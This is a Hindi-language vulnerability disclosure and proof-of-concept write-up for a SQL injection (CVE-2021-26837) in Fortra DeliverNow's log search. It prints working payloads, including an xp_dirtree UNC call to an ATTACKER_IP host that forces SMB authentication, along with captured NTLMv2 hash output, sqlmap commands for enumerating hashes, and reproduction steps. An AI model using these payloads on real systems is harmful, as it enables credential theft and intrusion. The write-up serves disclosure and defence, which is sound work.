
CVE-2021-26837 - HelpSystems/Fortra DeliverNow के SearchTextbox पैरामीटर में SQL इंजेक्शन। पेलोड, एनोटेटेड अनुरोध और साक्ष्य। संस्करण 1.2.18 में ठीक किया गया।
HelpSystems / Fortra DeliverNow में SQL इंजेक्शन
DeliverNow के लॉग खोज पृष्ठ (/LogGrid.aspx) पर SearchTextbox पैरामीटर को बिना किसी पैरामीटराइज़ेशन और बिना सर्वर-साइड सत्यापन के सीधे SQL Server क्वेरी में जोड़ दिया जाता है। एप्लिकेशन परिणामी SQL Server पार्सर त्रुटियों को भी उपयोगकर्ता को वापस प्रदर्शित करता था, और इसी तरह यह बग सबसे पहले स्वयं प्रकट हुआ था।
डेटाबेस कनेक्शन sa के रूप में चलता था, इसलिए इंजेक्शन को इंस्टेंस पर पूर्ण sysadmin अधिकार विरासत में मिले। यह एक हमलावर-नियंत्रित UNC पथ पर master.dbo.xp_dirtree को कॉल करने और SQL Server सेवा खाते को आउटबाउंड प्रमाणीकरण के लिए बाध्य करने के लिए पर्याप्त था।
यह एक आंतरिक पेनेट्रेशन परीक्षण के दौरान पाया गया। विक्रेता द्वारा DeliverNow 1.2.18 में ठीक किया गया और CVE-2021-26837 के रूप में प्रकाशित किया गया।
Show Up Show Out Security के Sedric Louissaint द्वारा खोजा और रिपोर्ट किया गया।
| CVE | CVE-2021-26837 |
| उत्पाद | DeliverNow (HelpSystems, अब Fortra) |
| प्रभावित | 1.2.18 से पहले (मूल एडवाइज़री में 1.2.18 और उससे पहले सूचीबद्ध थे) |
| कमज़ोरी | CWE-89: SQL इंजेक्शन |
| CVSS 3.1 (NVD) | 9.8 क्रिटिकल CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVSS 2 (शोधकर्ता) | 9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P |
| प्रकाशित | 2023-09-19 |
| परीक्षण किया गया | Windows Server 2019 Datacenter 10.0 (x64), SQL Server 2017 (RTM-CU20) 14.0.3294.2 (x64) |
NVD विवरण:
Fortra (पूर्व में HelpSystems) DeliverNow संस्करण 1.2.18 से पहले के SearchTextBox पैरामीटर में SQL इंजेक्शन कमज़ोरी, हमलावरों को मनमाना कोड निष्पादित करने, विशेषाधिकार बढ़ाने और संवेदनशील जानकारी प्राप्त करने की अनुमति देती है।
POST /LogGrid.aspx, बॉडी पैरामीटर SearchTextbox। यह फ़ॉर्म एप्लिकेशन के Log दृश्य में खोज नियंत्रण है। ddlFieldName खोजे जाने वाले कॉलम का चयन करता है (नीचे दिए गए अनुरोधों में Description) और SearchTextbox शब्द को वहन करता है।
इसे साबित करने के लिए एक एकल उद्धरण पर्याप्त है:
blah'
प्रतिक्रिया SQL Server पार्सर त्रुटि को सीधे पृष्ठ में प्रदर्शित करती है:
Info: Unclosed quotation mark after the character string ''. Incorrect syntax near ''.

वह त्रुटि प्रकटीकरण अपने आप में एक निष्कर्ष है। यह उसे, जो अन्यथा एक ब्लाइंड इंजेक्शन होता, पूर्ण रूप से इंटरैक्टिव इंजेक्शन में बदल देता है।
चूँकि कनेक्शन sa के रूप में चलता है, master.dbo.xp_dirtree सुलभ है। इसे आपके नियंत्रण वाले होस्ट पर UNC पथ की ओर इंगित करने से SQL Server सेवा खाता SMB के माध्यम से उस होस्ट पर आउटबाउंड प्रमाणीकरण करता है:
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

पूरा अनुरोध poc/exploited-request.http में, पेलोड poc/payloads.sql में।

जब Impacket का smbserver.py सुन रहा था, लक्ष्य का SQL Server सेवा खाता प्रमाणीकरण करता है और एक NTLMv2 हैश लीक करता है:
[*] Incoming connection (10.1.103.109,49488)
[*] AUTHENTICATE_MESSAGE (\SQLServices,SCS-FTEREPORTS)
[*] User SCS-FTEREPORTS\SQLServices authenticated successfully
[*] SQLServices::...:aaaaaaaaaaaaaaaa:e1571710b57de81bc1668fdc92ff1f2a:...

फिर हैश ऑफ़लाइन क्रैकिंग या किसी अन्य होस्ट पर NTLM रिले के लिए उपलब्ध होता है।
sqlmap इंजेक्शन और विशेषाधिकार स्तर की पुष्टि करता है:
back-end DBMS: Microsoft SQL Server 2017
[INFO] fetching current user
[INFO] retrieved: sa
current user: 'sa'
[INFO] fetching current database
[INFO] retrieved: RJSReportDelivery
current database: 'RJSReportDelivery'
[INFO] fetching database users password hashes
[INFO] retrieved: 21

sa का अर्थ है कि इंस्टेंस पर हर लॉगिन हैश पठनीय है, और xp_cmdshell होस्ट पर कमांड निष्पादन से केवल एक sp_configure कॉल की दूरी पर है।
ऐसे लैब इंस्टेंस के विरुद्ध जिसके आप स्वामी हैं या जिसके परीक्षण के लिए अधिकृत हैं:
http://<host>:1080/) पर ब्राउज़ करें और Log खोलें।blah' दर्ज करें और सबमिट करें। एक कमज़ोर बिल्ड पृष्ठ में SQL Server पार्सर त्रुटि प्रदर्शित करता है।sudo smbserver.py c . -smb2support
poc/payloads.sql से xp_dirtree पेलोड सबमिट करें। एक कमज़ोर बिल्ड SQL Server सेवा खाते से इनबाउंड SMB प्रमाणीकरण उत्पन्न करता है।sqlmap -r poc/exploited-request.http -p SearchTextbox --batch --current-user --current-db
poc/
payloads.sql Detection and out-of-band payloads for SearchTextbox
exploited-request.http The full POST request, ready for sqlmap -r
sqlmap.md sqlmap invocations and expected output
media/
01-sql-error-in-log-search.png
02-xp-dirtree-payload-in-searchtextbox.png
03-forced-auth-captured-impacket.png
04-sqlmap-sa-enumeration.png
05-exploited-http-request.png
कैप्चर में होस्ट और हैश मूल एंगेजमेंट के हैं और बहुत पहले समाप्त हो चुके हैं। पुनरुत्पादन करते समय अपना स्वयं का लिसनर पता प्रतिस्थापित करें।
sa के रूप में कनेक्ट करना बंद करें। एप्लिकेशन को अपनी स्वयं की तालिकाओं तक पढ़ने और लिखने की पहुँच चाहिए। उसे sysadmin की आवश्यकता नहीं है, और न ही xp_dirtree की। न्यूनतम विशेषाधिकार इंजेक्शन को रोक नहीं पाता, लेकिन उसे सीमित कर देता।विक्रेता द्वारा DeliverNow 1.2.18 में ठीक किया गया। अपग्रेड करें।
| दिनांक | घटना |
|---|---|
| 2021 | एक आंतरिक पेनेट्रेशन परीक्षण के दौरान पाया गया और HelpSystems को रिपोर्ट किया गया |
| 2021 | DeliverNow 1.2.18 में ठीक किया गया |
| 2023-09-19 | CVE-2021-26837 NVD पर प्रकाशित, 9.8 क्रिटिकल स्कोर |
विक्रेता के निवारण के बाद प्रकाशित, रक्षात्मक और शैक्षिक उपयोग के लिए। यहाँ के पेलोड वर्षों पहले पैच किए गए संस्करण को लक्षित करते हैं। उन्हें उन प्रणालियों के विरुद्ध न चलाएँ जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास लिखित प्राधिकरण नहीं है।